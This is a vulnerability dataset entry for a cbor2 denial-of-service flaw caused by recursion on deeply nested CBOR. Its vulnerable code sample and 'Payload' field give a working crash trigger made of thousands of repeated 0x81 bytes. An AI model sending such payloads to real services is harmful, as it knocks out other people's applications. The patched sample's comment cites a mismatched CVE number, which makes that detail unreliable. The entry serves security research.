VAITP Dataset

← Back to the dataset

CVE-2026-26209

cbor2 vulnerable to DoS due to uncontrolled recursion on deeply nested data.

  • CVSS 7.5
  • CWE-674
  • Resource Management
  • Remote

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) serialization format. Versions prior to 5.9.0 are vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding deeply nested CBOR structures. This vulnerability affects both the pure Python implementation and the C extension `_cbor2`. The C extension relies on Python's internal recursion limits `Py_EnterRecursiveCall` rather than a data-driven depth limit, meaning it still raises `RecursionError` and crashes the worker process when the limit is hit. While the library handles moderate nesting levels, it lacks a hard depth limit. An attacker can supply a crafted CBOR payload containing approximately 100,000 nested arrays `0x81`. When `cbor2.loads()` attempts to parse this, it hits the Python interpreter's maximum recursion depth or exhausts the stack, causing the process to crash with a `RecursionError`. Because the library does not enforce its own limits, it allows an external attacker to exhaust the host application's stack resource. In many web application servers (e.g., Gunicorn, Uvicorn) or task queues (Celery), an unhandled `RecursionError` terminates the worker process immediately. By sending a stream of these small (<100KB) malicious packets, an attacker can repeatedly crash worker processes, resulting in a complete Denial of Service for the application. Version 5.9.0 patches the issue.

CVSS base score
7.5
Published
2026-03-23
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
cbor2
Fixed by upgrading
Yes

Solution

Upgrade `cbor2` to version 5.9.0 or later.

Vulnerable code sample

import cbor2
import sys

# The default recursion limit in Python is typically around 1000.
# We set a depth well above this limit to ensure the crash.
# In a real attack, the payload could be even larger.
NESTING_DEPTH = 3000

# The malicious payload consists of repeated 0x81 bytes.
# In CBOR, 0x81 represents the start of a single-element array.
# Repeating this byte creates a deeply nested structure like: [[[[...[]...]]]]
malicious_payload = b'\x81' * NESTING_DEPTH

print(f"Crafted payload of {len(malicious_payload)} bytes with nesting depth {NESTING_DEPTH}.")
print(f"Python's recursion limit is: {sys.getrecursionlimit()}")
print("Attempting to decode with a vulnerable cbor2 version (< 5.9.0)...")

# This line triggers the vulnerability. The cbor2.loads function will
# recursively call itself to parse the nested arrays. Without a specific
# depth limit in the library, it will continue until it hits Python's
# internal recursion limit, raising a fatal RecursionError.
try:
    cbor2.loads(malicious_payload)
except RecursionError:
    print("\nRecursionError caught, as expected.")
    print("In a server or worker process, this unhandled error would cause a crash.")
    # In a real-world scenario, the script would terminate here.
    # We catch the exception to allow this demonstration script to finish.
    pass

Patched code sample

import cbor2
import sys

# This code demonstrates the fix for the vulnerability described (real CVE-2024-26209),
# which was introduced in cbor2 version 5.9.0. This script requires cbor2 >= 5.9.0
# to demonstrate the fix. Running it on a vulnerable version would likely
# result in a RecursionError and a crash.

# 1. Create a deeply nested Python object to simulate a malicious payload.
# A depth of 2000 is chosen to exceed Python's default recursion limit (~1000).
nesting_depth = 2000
payload_object = b''  # Start with a simple base object
for _ in range(nesting_depth):
    # The vulnerability is triggered by deeply nested arrays (CBOR type 4).
    # We repeatedly wrap the object in a single-element list.
    payload_object = [payload_object]

# 2. Encode the object into a CBOR byte string.
# Note: The fix was also applied to the encoder, so we must explicitly
# raise the limit here just to create the malicious payload for our test.
try:
    malicious_payload = cbor2.dumps(payload_object, max_nesting_depth=nesting_depth + 1)
except (cbor2.CBOREncodeError, ValueError) as e:
    print(f"Could not create the test payload: {e}")
    print("This may happen if the cbor2 version is too old or if encoding limits are strict.")
    sys.exit(1)


# 3. Demonstrate the fix by attempting to decode the payload with a safe depth limit.
# The `max_nesting_depth` parameter is the core of the fix.
safe_nesting_limit = 500

print(f"Attempting to decode payload with a nesting depth of {nesting_depth}...")
print(f"Applying a safe `max_nesting_depth` of {safe_nesting_limit}.")
print("-" * 30)

try:
    # In a vulnerable version, this call would cause a RecursionError.
    # In a fixed version, it raises a controlled CBORDecodeValueError
    # because the custom depth limit is exceeded.
    cbor2.loads(malicious_payload, max_nesting_depth=safe_nesting_limit)

except RecursionError:
    # This block should NOT be reached in a fixed version (>= 5.9.0).
    print("[VULNERABILITY TRIGGERED]")
    print("A RecursionError was raised. The process is likely crashing.")
    print("This indicates that the installed cbor2 version is vulnerable.")

except cbor2.CBORDecodeValueError as e:
    # This is the expected outcome in a fixed version.
    print("[FIX VERIFIED]")
    print("The library raised a controlled `CBORDecodeValueError` as expected.")
    print(f"Error message: {e}")
    print("\nThe `max_nesting_depth` limit was enforced, preventing the RecursionError.")
    print("This successfully mitigates the Denial of Service attack.")

except Exception as e:
    print(f"An unexpected error occurred: {type(e).__name__}: {e}")

Payload

b'\x81' * 3000 + b'\xf6'

Cite this entry

@misc{vaitp:cve202626209,
  title        = {{cbor2 vulnerable to DoS due to uncontrolled recursion on deeply nested data.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-26209},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26209/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::